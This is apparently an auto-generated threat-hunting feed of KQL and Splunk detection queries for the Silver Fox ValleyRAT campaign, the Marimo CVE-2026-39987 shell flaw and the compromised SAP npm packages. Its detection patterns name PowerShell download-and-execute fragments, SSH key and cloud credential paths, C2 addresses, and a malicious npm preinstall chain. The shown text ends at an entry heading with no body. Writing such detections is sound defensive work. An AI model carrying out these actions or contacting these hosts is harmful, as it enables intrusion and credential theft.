| where InitiatingProcessFileName in~ ("explorer.exe","RuntimeBroker.exe")
| where FileName in~ ("powershell.exe","pwsh.exe","mshta.exe")
| where ProcessCommandLine matches regex @"(?i)(iex|invoke-expression|frombase64|downloadstring|hxxp|curl |wget )"
| project Timestamp, DeviceName, AccountName, ProcessCommandLine, InitiatingProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("explorer.exe","RuntimeBroker.exe")
AND Processes.process_name IN ("powershell.exe","pwsh.exe","mshta.exe")
AND (Processes.process="*iex*" OR Processes.process="*Invoke-Expression*"
OR Processes.process="*FromBase64*" OR Processes.process="*DownloadString*"
OR Processes.process="*hxxp*" OR Processes.process="*curl*" OR Processes.process="*wget*")
by Processes.dest, Processes.user, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
Encoded or obfuscated PowerShell — common across loaders, recon, and post-exploitation.
ATT&CKT1059.001T1027
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName in~ ("powershell.exe","pwsh.exe")
| where ProcessCommandLine matches regex @"(?i)(-enc|encodedcommand|frombase64string|-nop|-w\s+hidden|invoke-expression|iex\s*\(|downloadstring|net\.webclient)"
| project Timestamp, DeviceName, AccountName, ProcessCommandLine,
InitiatingProcessFileName, InitiatingProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.process_name IN ("powershell.exe","pwsh.exe")
AND (Processes.process="*-enc *" OR Processes.process="*EncodedCommand*"
OR Processes.process="*FromBase64String*" OR Processes.process="*-nop*"
OR Processes.process="*-w hidden*" OR Processes.process="*Invoke-Expression*"
OR Processes.process="*IEX(*" OR Processes.process="*DownloadString*"
OR Processes.process="*Net.WebClient*")
by Processes.dest, Processes.user, Processes.process_name, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
Article-specific behavioural hunt — Silver Fox uses the new ABCDoor backdoor to target organizations in Russia and IExploitationHigh
Auto-generated hunt targeting the specific binaries, paths, registry locations and command-line fragments named in this article. Hunting tier — needs analyst review and environment tuning before promotion to alerting.
ATT&CKT1059.001T1027T1053.005
Data sourcesEndpoint.ProcessesEndpoint.FilesystemEndpoint.Registry
// Article-specific bespoke detection — Silver Fox uses the new ABCDoor backdoor to target organizations in Russia and I
// Hunts the actual binaries / paths / commandline fragments named
// in the article instead of a generic technique-class template.
DeviceProcessEvents
| where Timestamp > ago(30d)
| where (FileName in~ ("file.exe", "online-module.dll", "login-module.dll", "curl.exe", "ffmpeg.exe", "update.bat", "pythonw.exe", "__main__.py", "main.py", "path_to_pythonw.exe", "update.ps1", "suvidha.exe", "gstsuvidha.exe", "remoteinstaller_20250803165259_whatsapp.exe", "remoteinstaller_20250806_004447_jiqi.exe") or ProcessCommandLine has_any ("-WindowStyle Hidden") or FolderPath has_any ("C:\Users\Administrator\Desktop\bat\Release\winos4.0", "%LOCALAPPDATA%\appclient\111.zip", "%LOCALAPPDATA%\appclient\111.zip.", "\AppData\Local\appclient\update.bat", "C:\ProgramData\Tailscale."))
| project Timestamp, DeviceName, AccountName, FileName,
FolderPath, ProcessCommandLine,
InitiatingProcessFileName, InitiatingProcessCommandLine
| order by Timestamp desc
// File-creation events for the named binaries / paths
DeviceFileEvents
| where Timestamp > ago(30d)
| where ActionType in ("FileCreated","FileModified")
| where (FolderPath has_any ("C:\Users\Administrator\Desktop\bat\Release\winos4.0", "%LOCALAPPDATA%\appclient\111.zip", "%LOCALAPPDATA%\appclient\111.zip.", "\AppData\Local\appclient\update.bat", "C:\ProgramData\Tailscale.", "C:\ProgramData\Tailscale", "\AppData\Local\appclient\python\pythonw.exe", "%LOCALAPPDATA%\applogs\device.log.") or FileName in~ ("file.exe", "online-module.dll", "login-module.dll", "curl.exe", "ffmpeg.exe", "update.bat", "pythonw.exe", "__main__.py", "main.py", "path_to_pythonw.exe", "update.ps1", "suvidha.exe", "gstsuvidha.exe", "remoteinstaller_20250803165259_whatsapp.exe", "remoteinstaller_20250806_004447_jiqi.exe"))
| project Timestamp, DeviceName, AccountName, FolderPath,
FileName, ActionType, InitiatingProcessFileName,
InitiatingProcessCommandLine
| order by Timestamp desc
``` Article-specific bespoke detection — Silver Fox uses the new ABCDoor backdoor to target organizations in Russia and I ```
| tstats `summariesonly` count earliest(_time) AS firstTime latest(_time) AS lastTime
from datamodel=Endpoint.Processes
where (Processes.process_name IN ("file.exe","online-module.dll","login-module.dll","curl.exe","ffmpeg.exe","update.bat","pythonw.exe","__main__.py","main.py","path_to_pythonw.exe","update.ps1","suvidha.exe","gstsuvidha.exe","remoteinstaller_20250803165259_whatsapp.exe","remoteinstaller_20250806_004447_jiqi.exe") OR Processes.process="*-WindowStyle Hidden*" OR Processes.process_path="*C:\Users\Administrator\Desktop\bat\Release\winos4.0*" OR Processes.process_path="*%LOCALAPPDATA%\appclient\111.zip*" OR Processes.process_path="*%LOCALAPPDATA%\appclient\111.zip.*" OR Processes.process_path="*\AppData\Local\appclient\update.bat*" OR Processes.process_path="*C:\ProgramData\Tailscale.*")
by Processes.dest, Processes.user, Processes.process_name,
Processes.process, Processes.parent_process_name, Processes.process_path
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)`
| append [
| tstats `summariesonly` count
from datamodel=Endpoint.Filesystem
where Filesystem.action IN ("created","modified")
AND (Filesystem.file_path="*C:\Users\Administrator\Desktop\bat\Release\winos4.0*" OR Filesystem.file_path="*%LOCALAPPDATA%\appclient\111.zip*" OR Filesystem.file_path="*%LOCALAPPDATA%\appclient\111.zip.*" OR Filesystem.file_path="*\AppData\Local\appclient\update.bat*" OR Filesystem.file_path="*C:\ProgramData\Tailscale.*" OR Filesystem.file_path="*C:\ProgramData\Tailscale*" OR Filesystem.file_path="*\AppData\Local\appclient\python\pythonw.exe*" OR Filesystem.file_path="*%LOCALAPPDATA%\applogs\device.log.*" OR Filesystem.file_name IN ("file.exe","online-module.dll","login-module.dll","curl.exe","ffmpeg.exe","update.bat","pythonw.exe","__main__.py","main.py","path_to_pythonw.exe","update.ps1","suvidha.exe","gstsuvidha.exe","remoteinstaller_20250803165259_whatsapp.exe","remoteinstaller_20250806_004447_jiqi.exe"))
by Filesystem.dest, Filesystem.user, Filesystem.process_name,
Filesystem.file_path, Filesystem.file_name
| `drop_dm_object_name(Filesystem)`
]
[LLM] Silver Fox RustSL Phantom Persistence via RunOnce 'Application Restart' key from suspicious pathInstallationHigh
Hunts the Phantom Persistence technique used by Silver Fox's modified RustSL loader (samples e.g. MD5 2c5a1dd4cb53287fe0ed14e0b7b7b1b7), where RegisterApplicationRestart causes csrss.exe to write a RunOnce value named 'Application Restart #N' pointing back to the loader. Fidelity comes from filtering for csrss.exe writing a RunOnce entry whose data points to user-writable directories (Temp, Downloads, AppData, ProgramData, public profile) — a pattern legitimate signed installers almost never exhibit.
Rationale: Article explicitly names the technique and quotes debug strings ('Phantom Persistence Module (Hijack Mode)', 'RegisterApplicationRestart succeeded', EWX_RESTARTAPPS). Cross-checked against the original phantomsec.tools write-up and Teach2Breach/phantom_persist_rs PoC, which confirm csrss.exe is the writer and the RunOnce value is named 'Application Restart #N'. Restricting target-path location filters out benign Office/Edge crash recoveries.
Cross-checked against:
• https://blog.phantomsec.tools/phantom-persistence
• https://github.com/Teach2Breach/phantom_persist_rs
• https://redheadsec.tech/phantom-boot-a-quick-look-at-windows-persistence-via-registerapplicationrestart/
ATT&CKT1547.001T1112
Data sourcesEndpoint.RegistryEndpoint.Processes
DeviceRegistryEvents
| where ActionType in ("RegistryValueSet","RegistryKeyCreated")
| where RegistryKey endswith @"\Software\Microsoft\Windows\CurrentVersion\RunOnce"
| where RegistryValueName startswith "Application Restart"
| where InitiatingProcessFileName =~ "csrss.exe"
| extend target = tolower(RegistryValueData)
| where target matches regex @"\\users\\[^\\]+\\(appdata|downloads|desktop|documents)\\"
or target contains @"\windows\temp\"
or target contains @"\programdata\"
or target contains @"\users\public\"
| project Timestamp, DeviceName, RegistryKey, RegistryValueName, RegistryValueData, InitiatingProcessFileName
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime values(Registry.registry_value_data) as target values(Registry.process_guid) as proc_guid from datamodel=Endpoint.Registry where Registry.registry_path="*\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\*" Registry.registry_value_name="Application Restart*" by Registry.dest Registry.user Registry.registry_value_name Registry.process_name | `drop_dm_object_name(Registry)` | where process_name="csrss.exe" AND (match(target,"(?i)\\\\Users\\\\[^\\\\]+\\\\(AppData|Downloads|Desktop|Documents)\\\\") OR match(target,"(?i)\\\\Windows\\\\Temp\\\\") OR match(target,"(?i)\\\\ProgramData\\\\") OR match(target,"(?i)\\\\Public\\\\")) | convert ctime(firstTime) ctime(lastTime)
[LLM] Silver Fox RustSL geofencing — single non-browser process queries 3+ of 5 specific IP-lookup APIsInstallationHigh
Hunts the guard.rs geofence module embedded in Silver Fox RustSL, which sequentially queries five hard-coded public IP-geolocation services to confirm the host is in a target country (India, Indonesia, South Africa, Russia, Cambodia, Japan) before detonating the ValleyRAT shellcode. The combination of all five domains (ip-api.com + ipwho.is + ipinfo.io + ipapi.co + geoplugin.net) being touched by one non-browser parent in seconds is highly idiosyncratic to this loader.
Rationale: Article enumerates exactly the five geolocation services used by guard.rs and notes the original GitHub RustSL only uses ip-api.com — so a process hitting 3+ of them is a strong fingerprint of the Silver Fox modification. Browser exclusions are added because real users do hit 1–2 of these services via web pages.
Cross-checked against:
• https://securelist.com/silver-fox-tax-notification-campaign/119575/
• https://malwaretips.com/threads/silver-fox-uses-the-new-abcdoor-backdoor-to-target-organizations-in-russia-and-india.141147/
ATT&CKT1614.001T1016T1497.001
Data sourcesNetwork_Resolution.DNSWeb.WebEndpoint.Processes
let geo_apis = dynamic(["ip-api.com","ipwho.is","ipinfo.io","ipapi.co","geoplugin.net","www.geoplugin.net"]);
DeviceNetworkEvents
| where Timestamp > ago(14d)
| where RemoteUrl has_any (geo_apis) or tolower(RemoteUrl) matches regex @"^(https?://)?(ip-api\.com|ipwho\.is|ipinfo\.io|ipapi\.co|(www\.)?geoplugin\.net)"
| extend host = tolower(tostring(parse_url(RemoteUrl).Host))
| summarize hosts = make_set(host), n = dcount(host), first=min(Timestamp), last=max(Timestamp)
by DeviceId, DeviceName, InitiatingProcessFileName, InitiatingProcessSHA256, bin(Timestamp, 5m)
| where n >= 3
| where InitiatingProcessFileName !in~ ("chrome.exe","msedge.exe","firefox.exe","brave.exe","opera.exe","iexplore.exe","svchost.exe")
| project first, last, DeviceName, InitiatingProcessFileName, InitiatingProcessSHA256, n, hosts
| tstats `summariesonly` count values(DNS.query) as queries dc(DNS.query) as unique_q min(_time) as firstTime max(_time) as lastTime from datamodel=Network_Resolution where DNS.query IN ("ip-api.com","ipwho.is","ipinfo.io","ipapi.co","www.geoplugin.net","geoplugin.net") by DNS.src DNS.process_name DNS.process_guid span=5m | `drop_dm_object_name(DNS)` | where unique_q>=3 AND NOT match(process_name,"(?i)(chrome|msedge|firefox|brave|opera|iexplore|svchost)\\.exe$") | convert ctime(firstTime) ctime(lastTime)
[LLM] ValleyRAT/Winos 4.0 C2 callback to Silver Fox tax-campaign infrastructureCommand & ControlHigh
Alerts on outbound connections from endpoints to the named Silver Fox infrastructure used in the December-2025/January-2026 tax-themed campaign — both the ValleyRAT C2 IPs/ports (e.g. 207.56.138.28:6666 from the decrypted Winos config) and the staging domains (abc.haijing88.com hosting фнс.zip and CBDT.rar, plus mcagov.cc, vnc.kcii2.com, abc.3mkorealtd.com, abc.fetish-friends.com).
Rationale: IPs/domains/port pair (207.56.138.28:6666) come directly from the decrypted Winos 4.0 config block in the article; abc.haijing88.com is the confirmed staging host for both фнс.zip (Russia) and CBDT.rar (India). Cross-checked Silver Fox's prior tooling and ValleyRAT/Winos 4.0 attribution against The Hacker News, HelpNet Security, and ANY.RUN reports of the same actor.
Cross-checked against:
• https://securelist.com/silver-fox-tax-notification-campaign/119575/
• https://thehackernews.com/2025/09/silver-fox-exploits-microsoft-signed.html
• https://www.helpnetsecurity.com/2025/02/25/china-based-silver-fox-spoofs-healthcare-apps-dicom-viewer-to-deliver-valleyrat-malware/
• https://any.run/report/31cb03542a162f39f7bf1854bd38089cc7cab44f6114b472eeaa9b424bc99c34/298c8ed9-9300-45e9-a31e-15073ab9a585
ATT&CKT1071.001T1105T1571
Data sourcesNetwork_Traffic.All_TrafficWeb.WebNetwork_Resolution.DNS
let c2_ips = dynamic(["207.56.138.28","154.82.81.205","45.118.133.203","108.187.37.85","108.187.42.63","108.187.41.221","154.82.81.192","139.180.128.251"]);
let c2_domains = dynamic(["abc.haijing88.com","mcagov.cc","abc.fetish-friends.com","vnc.kcii2.com","abc.3mkorealtd.com"]);
let net_hits = DeviceNetworkEvents
| where Timestamp > ago(30d)
| where RemoteIP in (c2_ips)
or (RemoteIP == "207.56.138.28" and RemotePort in (6666, 8888))
or (isnotempty(RemoteUrl) and tolower(RemoteUrl) has_any (c2_domains));
let dns_hits = DeviceEvents
| where ActionType == "DnsQueryResponse" or ActionType == "DnsQuery"
| where tolower(AdditionalFields) has_any (c2_domains);
union isfuzzy=true
(net_hits | project Timestamp, DeviceName, InitiatingProcessFileName, InitiatingProcessCommandLine, RemoteIP, RemotePort, RemoteUrl, ActionType),
(dns_hits | project Timestamp, DeviceName, InitiatingProcessFileName, InitiatingProcessCommandLine, AdditionalFields, ActionType)
| order by Timestamp desc
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime values(All_Traffic.dest_port) as dest_ports values(All_Traffic.app) as app values(All_Traffic.bytes_out) as bytes_out from datamodel=Network_Traffic where (All_Traffic.dest IN ("207.56.138.28","154.82.81.205","45.118.133.203","108.187.37.85","108.187.42.63","108.187.41.221","154.82.81.192","139.180.128.251")) OR (All_Traffic.dest="207.56.138.28" AND All_Traffic.dest_port IN (6666,8888)) by All_Traffic.src All_Traffic.dest All_Traffic.dest_port All_Traffic.user | `drop_dm_object_name(All_Traffic)` | append [| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Web where Web.url IN ("*abc.haijing88.com*","*mcagov.cc*","*abc.fetish-friends.com*","*vnc.kcii2.com*","*abc.3mkorealtd.com*") by Web.src Web.dest Web.url Web.user | `drop_dm_object_name(Web)`] | convert ctime(firstTime) ctime(lastTime)
2026-04-304 use cases1 technique3 kill-chain phases detected
WebPros cPanel & WHM (WebHost Manager) and WP2 (WordPress Squared) contain an authentication bypass vulnerability in the login flow that allows unauthenticated remote attackers to gain unauthorized access to the control panel. Vendor: WebPros, Product: cPanel & WHM and WP2 (WordPress Squared). Federal patch due: 2026-05-03.
CVEsCVE-2026-41940
ATT&CKT1021.001
Click any ATT&CK pill below to open it on the Matrix
Match vulnerability scanner output to the CVE(s) named in the article.
ATT&CKT1190
Data sourcesVulnerabilitiesDeviceInfoDeviceTvmSoftwareVulnerabilities
DeviceTvmSoftwareVulnerabilities
| where CveId in~ ("CVE-2026-41940")
| join kind=inner DeviceInfo on DeviceId
| project DeviceName, OSPlatform, CveId, VulnerabilitySeverityLevel, RecommendedSecurityUpdate
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Vulnerabilities
where Vulnerabilities.signature IN ("CVE-2026-41940")
by Vulnerabilities.dest, Vulnerabilities.signature, Vulnerabilities.severity, Vulnerabilities.cve
| `drop_dm_object_name(Vulnerabilities)`
| sort - severity
[LLM] Marimo CVE-2026-39987: WebSocket upgrade to unauthenticated /terminal/ws endpointExploitationHigh
Detects inbound HTTP/WebSocket requests to the Marimo /terminal/ws path on the default port 2718. The vulnerable endpoint skips validate_auth() and grants a full PTY shell on a successful upgrade — any external hit on this URL is high-fidelity exploitation evidence per the GitHub advisory GHSA-2679-6mx9-h9xc.
Rationale: The vulnerable path /terminal/ws and default port 2718 are explicitly named in the marimo GHSA-2679-6mx9-h9xc advisory; status 101 is the WebSocket upgrade response — combined with a non-RFC1918 source and a near-simultaneous shell child of marimo, FPs are negligible.
Cross-checked against:
• https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://thehackernews.com/2026/04/marimo-rce-flaw-cve-2026-39987.html
ATT&CKT1190T1059.004
Data sourcesWebNetwork_Traffic.All_Traffic
DeviceNetworkEvents
| where ActionType in ("InboundConnectionAccepted","ConnectionAccepted")
| where LocalPort == 2718
| where InitiatingProcessFileName has_any ("marimo","python","python3","uvicorn") or InitiatingProcessCommandLine has "marimo"
| where RemoteIPType !in ("Loopback","Private")
| project Timestamp, DeviceName, RemoteIP, RemotePort, LocalPort, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessAccountName
| join kind=leftouter (DeviceProcessEvents
| where InitiatingProcessFileName has "marimo"
| where FileName in ("sh","bash","dash","zsh","ash","busybox")
| project ShellTime=Timestamp, DeviceName, ShellCmd=ProcessCommandLine, ShellPid=ProcessId) on DeviceName
| where ShellTime between (Timestamp .. Timestamp + 2m)
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Web.http_method) as method values(Web.http_user_agent) as ua values(Web.status) as status values(Web.url) as url from datamodel=Web where Web.url="*/terminal/ws*" (Web.dest_port=2718 OR Web.url="*marimo*") by Web.src Web.dest Web.dest_port
| `drop_dm_object_name(Web)`
| where status="101" OR isnull(status)
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Marimo CVE-2026-39987: marimo process spawning interactive shell childExploitationHigh
Hunts the post-exploitation primitive of CVE-2026-39987 — successful WebSocket exploitation gives the attacker a full PTY shell whose immediate parent is the marimo Python service. A marimo binary spawning sh/bash/dash/zsh as a child is the direct effect of the bug and is not part of normal notebook execution flow.
Rationale: The Endor Labs and Sysdig writeups confirm exploitation lands as a PTY shell whose immediate ancestor is the marimo service process; in normal operation marimo executes Python kernels, not /bin/sh. Direct lineage marimo→sh is therefore both rare and a deterministic exploit signal.
Cross-checked against:
• https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://www.bleepingcomputer.com/news/security/critical-marimo-pre-auth-rce-flaw-now-under-active-exploitation/
ATT&CKT1059.004T1190
Data sourcesEndpoint.Processes
DeviceProcessEvents
| where InitiatingProcessFileName == "marimo"
or InitiatingProcessCommandLine has "marimo edit"
or (InitiatingProcessFileName in ("python","python3") and InitiatingProcessCommandLine has "marimo")
| where FileName in ("sh","bash","dash","zsh","ash","busybox")
| where ProcessCommandLine !has "marimo run" // ignore legitimate notebook subprocess wrappers if any
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessId, ProcessId
| extend AlertTitle = "Marimo CVE-2026-39987 PTY shell spawn"
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as process values(Processes.process_id) as pid values(Processes.parent_process) as parent_process from datamodel=Endpoint.Processes where (Processes.parent_process_name="marimo" OR Processes.parent_process="*marimo edit*" OR Processes.parent_process="*marimo*--host*") Processes.process_name IN ("sh","bash","dash","zsh","ash","busybox") by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.parent_process_id
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Marimo CVE-2026-39987: credential & SSH key theft from marimo-parented shellActions on ObjectivesHigh
Hunts the documented Sysdig post-exploit objective — within 3 minutes of landing the PTY shell, the operator harvested .env files, SSH private keys, and cloud credentials. Detects any marimo descendant process touching common credential files, capturing the specific TTP reported in this campaign.
Rationale: Sysdig publicly reported the operator's specific objective in this campaign — .env credentials and SSH key exfiltration completed in <3 min. Pinning the search to marimo-descended shells plus the named credential paths makes this far higher fidelity than a generic credential-access rule and directly catches the documented TTP.
Cross-checked against:
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://thehackernews.com/2026/04/marimo-rce-flaw-cve-2026-39987.html
• https://www.bleepingcomputer.com/news/security/critical-marimo-pre-auth-rce-flaw-now-under-active-exploitation/
ATT&CKT1552.001T1552.004T1041
Data sourcesEndpoint.ProcessesEndpoint.Filesystem
let MarimoShells = DeviceProcessEvents
| where InitiatingProcessFileName == "marimo" or InitiatingProcessCommandLine has "marimo edit"
| where FileName in ("sh","bash","dash","zsh","ash")
| project DeviceId, DeviceName, ShellPid=ProcessId, ShellTime=Timestamp;
DeviceProcessEvents
| where InitiatingProcessFileName in ("sh","bash","dash","zsh","ash","busybox","marimo")
| where ProcessCommandLine has_any (".env","/.ssh/id_","/.ssh/authorized_keys","/.aws/credentials",".netrc","id_rsa","id_ed25519","kubeconfig")
or FileName in ("cat","less","more","tar","base64","curl","wget","scp","find","grep")
and ProcessCommandLine has_any (".env",".ssh",".aws","credentials")
| join kind=inner MarimoShells on DeviceId
| where Timestamp between (ShellTime .. ShellTime + 10m)
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessCommandLine, ShellTime, ShellPid
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as cmdline values(Processes.parent_process_name) as parent values(Processes.process_name) as proc from datamodel=Endpoint.Processes where (Processes.parent_process_name IN ("marimo","sh","bash","dash","zsh") OR Processes.parent_process="*marimo*") (Processes.process="*.env*" OR Processes.process="*/.ssh/id_*" OR Processes.process="*/.ssh/authorized_keys*" OR Processes.process="*/.aws/credentials*" OR Processes.process="*/.netrc*" OR Processes.process="*id_rsa*" OR Processes.process="*id_ed25519*") by Processes.dest Processes.user Processes.process_name Processes.parent_process_name
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
2026-04-296 use cases4 techniques5 kill-chain phases detected
Multiple official SAP npm packages were compromised in what is believed to be a TeamPCP supply-chain attack to steal credentials and authentication tokens from developers' systems. [...]
ATT&CKT1027T1190T1195.002T1555.003
Click any ATT&CK pill below to open it on the Matrix
Phase 1
Reconnaissance
Detected
Phase 2
Weaponization
—
Phase 3
Delivery
Detected
Phase 4
Exploitation
Detected
Phase 5
Installation
Detected
Phase 6
Command & Control
Likely
Phase 7
Actions on Objectives
Detected
Reconnaissance. Attacker researches the target — OSINT, scanning, enumeration.
Delivery. Transmitting the weapon (phishing email, USB, watering hole, drive-by, malicious ad). → [LLM] Compromised SAP CAP / mbt package files written under node_modules (pinned malicious versions)
Exploitation. Triggering the exploit — vulnerability/macro/trust abuse to execute code. → PowerShell encoded / obfuscated command · Trusted vendor binary / installer launching unusual children · Article-specific behavioural hunt — Official SAP npm packages compromised to steal credentials
Installation. Establishing persistence on the host — backdoor, service, scheduled task, registry key. → [LLM] npm preinstall script drops setup.mjs/execution.js and fetches Bun runtime (Mini Shai-Hulud)
Command & Control. Beacon to attacker infrastructure for control and tasking.
Actions on Objectives. Lateral movement, credential dumping, data theft, ransomware, sabotage. → [LLM] Linux CI runner: process reading /proc/<pid>/mem of Runner.Worker (Mini Shai-Hulud secret scraper)
Encoded or obfuscated PowerShell — common across loaders, recon, and post-exploitation.
ATT&CKT1059.001T1027
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName in~ ("powershell.exe","pwsh.exe")
| where ProcessCommandLine matches regex @"(?i)(-enc|encodedcommand|frombase64string|-nop|-w\s+hidden|invoke-expression|iex\s*\(|downloadstring|net\.webclient)"
| project Timestamp, DeviceName, AccountName, ProcessCommandLine,
InitiatingProcessFileName, InitiatingProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.process_name IN ("powershell.exe","pwsh.exe")
AND (Processes.process="*-enc *" OR Processes.process="*EncodedCommand*"
OR Processes.process="*FromBase64String*" OR Processes.process="*-nop*"
OR Processes.process="*-w hidden*" OR Processes.process="*Invoke-Expression*"
OR Processes.process="*IEX(*" OR Processes.process="*DownloadString*"
OR Processes.process="*Net.WebClient*")
by Processes.dest, Processes.user, Processes.process_name, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
Supply-chain trojan signal: legitimate signed binary spawning script interpreters or exotic LOLBins.
ATT&CKT1195.002
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("setup.exe","installer.exe","update.exe")
| where FileName in~ ("powershell.exe","cmd.exe","rundll32.exe","regsvr32.exe","mshta.exe","wscript.exe","cscript.exe","wmic.exe","bitsadmin.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("setup.exe","installer.exe","update.exe")
AND Processes.process_name IN ("powershell.exe","cmd.exe","rundll32.exe","regsvr32.exe","mshta.exe","wscript.exe","cscript.exe","wmic.exe","bitsadmin.exe")
by Processes.dest, Processes.user, Processes.parent_process_name, Processes.process_name, Processes.process
| `drop_dm_object_name(Processes)`
Article-specific behavioural hunt — Official SAP npm packages compromised to steal credentialsExploitationHigh
Auto-generated hunt targeting the specific binaries, paths, registry locations and command-line fragments named in this article. Hunting tier — needs analyst review and environment tuning before promotion to alerting.
ATT&CKT1204.002
Data sourcesEndpoint.ProcessesEndpoint.FilesystemEndpoint.Registry
// Article-specific bespoke detection — Official SAP npm packages compromised to steal credentials
// Hunts the actual binaries / paths / commandline fragments named
// in the article instead of a generic technique-class template.
DeviceProcessEvents
| where Timestamp > ago(30d)
| where (FileName in~ ("execution.js"))
| project Timestamp, DeviceName, AccountName, FileName,
FolderPath, ProcessCommandLine,
InitiatingProcessFileName, InitiatingProcessCommandLine
| order by Timestamp desc
// File-creation events for the named binaries / paths
DeviceFileEvents
| where Timestamp > ago(30d)
| where ActionType in ("FileCreated","FileModified")
| where (FileName in~ ("execution.js"))
| project Timestamp, DeviceName, AccountName, FolderPath,
FileName, ActionType, InitiatingProcessFileName,
InitiatingProcessCommandLine
| order by Timestamp desc
``` Article-specific bespoke detection — Official SAP npm packages compromised to steal credentials ```
| tstats `summariesonly` count earliest(_time) AS firstTime latest(_time) AS lastTime
from datamodel=Endpoint.Processes
where (Processes.process_name IN ("execution.js"))
by Processes.dest, Processes.user, Processes.process_name,
Processes.process, Processes.parent_process_name, Processes.process_path
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)`
| append [
| tstats `summariesonly` count
from datamodel=Endpoint.Filesystem
where Filesystem.action IN ("created","modified")
AND (Filesystem.file_name IN ("execution.js"))
by Filesystem.dest, Filesystem.user, Filesystem.process_name,
Filesystem.file_path, Filesystem.file_name
| `drop_dm_object_name(Filesystem)`
]
[LLM] npm preinstall script drops setup.mjs/execution.js and fetches Bun runtime (Mini Shai-Hulud)InstallationHigh
Hunts the Mini Shai-Hulud installation chain on developer/CI hosts: an npm install triggers a malicious preinstall hook that executes setup.mjs, which downloads the Bun JavaScript runtime from github.com/oven-sh/bun and runs the obfuscated execution.js stealer. This is article-specific because we anchor on the dropper filenames and the Bun-from-GitHub fetch invoked by node/npm.
Rationale: Triggers on the article's named droppers (setup.mjs, execution.js) when spawned by a Node/npm/yarn/pnpm parent — that combination is the preinstall hook described by Aikido/Socket/Wiz. The optional Bun-from-GitHub fetch confirms the second-stage download path noted in StepSecurity's writeup.
Cross-checked against:
• https://www.wiz.io/blog/mini-shai-hulud-supply-chain-sap-npm
• https://socket.dev/blog/sap-cap-npm-packages-supply-chain-attack
• https://www.stepsecurity.io/blog/a-mini-shai-hulud-has-appeared
• https://www.aikido.dev/blog/mini-shai-hulud-has-appeared
ATT&CKT1195.002T1059.007T1105
Data sourcesEndpoint.ProcessesNetwork_Traffic.All_Traffic
let droppers = dynamic(["setup.mjs","execution.js"]);
let bunHosts = dynamic(["github.com/oven-sh/bun","oven-sh/bun/releases","bun.sh/install"]);
DeviceProcessEvents
| where Timestamp > ago(14d)
| where InitiatingProcessFileName in~ ("node.exe","node","npm.exe","npm","npm-cli.js","yarn","pnpm.exe","pnpm")
or ProcessCommandLine has_any ("@cap-js/sqlite","@cap-js/postgres","@cap-js/db-service","mbt@1.2.48")
| where ProcessCommandLine has_any (droppers)
or (ProcessCommandLine has "bun" and ProcessCommandLine has_any (bunHosts))
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine, FolderPath
| join kind=leftouter (DeviceNetworkEvents | where Timestamp > ago(14d) | where RemoteUrl has_any (bunHosts) | project NetTime=Timestamp, DeviceName, RemoteUrl, RemoteIP) on DeviceName
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as cmd values(Processes.parent_process) as parent_cmd from datamodel=Endpoint.Processes where (Processes.parent_process_name IN ("node.exe","node","npm.exe","npm","npm-cli.js","yarn","pnpm.exe","pnpm")) AND (Processes.process IN ("*setup.mjs*","*execution.js*") OR (Processes.process="*bun*" AND Processes.process IN ("*github.com/oven-sh/bun*","*oven-sh/bun/releases*"))) by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process_id _time | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Linux CI runner: process reading /proc/<pid>/mem of Runner.Worker (Mini Shai-Hulud secret scraper)Actions on ObjectivesHigh
